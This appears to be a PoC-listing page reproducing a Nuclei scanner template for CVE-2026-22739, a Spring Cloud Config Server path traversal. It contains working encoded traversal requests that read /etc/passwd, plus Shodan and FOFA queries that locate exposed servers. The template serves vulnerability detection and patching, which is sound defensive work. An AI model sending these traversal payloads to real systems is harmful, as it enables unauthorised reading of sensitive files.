BiuPoC

CVE-2026-22739: Spring Cloud Config Server - Path Traversal

2026-04-09 Spring Cloud Config Server PoC Public

Description

Spring Cloud 3.1.x < 3.1.13, 4.1.x < 4.1.9, 4.2.x < 4.2.3, 4.3.x < 4.3.2, and 5.0.x < 5.0.2 contain a path traversal caused by profile parameter substitution in Config Server using native file system backend, letting attackers access files outside configured directories, exploit requires crafted request.

PoC

id: CVE-2026-22739

info:
  name: Spring Cloud Config Server - Path Traversal
  author: 0x_Akoko,vulnh0lic
  severity: high
  description: |
    Spring Cloud 3.1.x < 3.1.13, 4.1.x < 4.1.9, 4.2.x < 4.2.3, 4.3.x < 4.3.2, and 5.0.x < 5.0.2 contain a path traversal caused by profile parameter substitution in Config Server using native file system backend, letting attackers access files outside configured directories, exploit requires crafted request.
  impact: |
    Attackers can access arbitrary files outside intended directories, potentially exposing sensitive information
  remediation: |
    "Upgrade to versions 3.1.13, 4.1.9, 4.2.3, 4.3.2, or 5.0.2 or later.
  reference:
    - https://spring.io/security/cve-2026-22739
    - https://spring.io/blog/2026/03/23/spring-cloud-config-5-0-2-4-3-2-4-2-6-4-1-9-3-1-13-released
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22739
    - https://www.herodevs.com/vulnerability-directory/cve-2026-22739
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2026-22739
    epss-score: 0.0122
    epss-percentile: 0.67755
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 5
    vendor: vmware
    product: spring_cloud_config
    shodan-query: http.html:"propertySources"
    fofa-query: body="propertySources" && body="profiles" && body="label"
  tags: cve,cve2026,spring,spring-cloud,config-server,lfi,traversal

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/application/default"

    matchers:
      - type: word
        part: body
        words:
          - "propertySources"
          - '"profiles"'
          - '"label"'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/application/..%2F..%2F..%2F..%2F..%2Fetc"
      - "{{BaseURL}}/application/..%2F..%2F..%2F..%2F..%2Fetc/main"
      - "{{BaseURL}}/application/..%252F..%252F..%252F..%252F..%252Fetc"
      - "{{BaseURL}}/application/default%2C..%2F..%2F..%2F..%2F..%2Fetc"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\"root\":\"x:0:0:"
          - "root:.*:0:0"
        condition: or

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a0046304402203093a9c2a6d05f697f89f2963f867bfd207f8e425d57eff72e97e318626bbe2f02201f983002c8e76b6f91aa88d02c80b674cefc56dfb5c80774714259761f43cdea:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-22739.yaml

References

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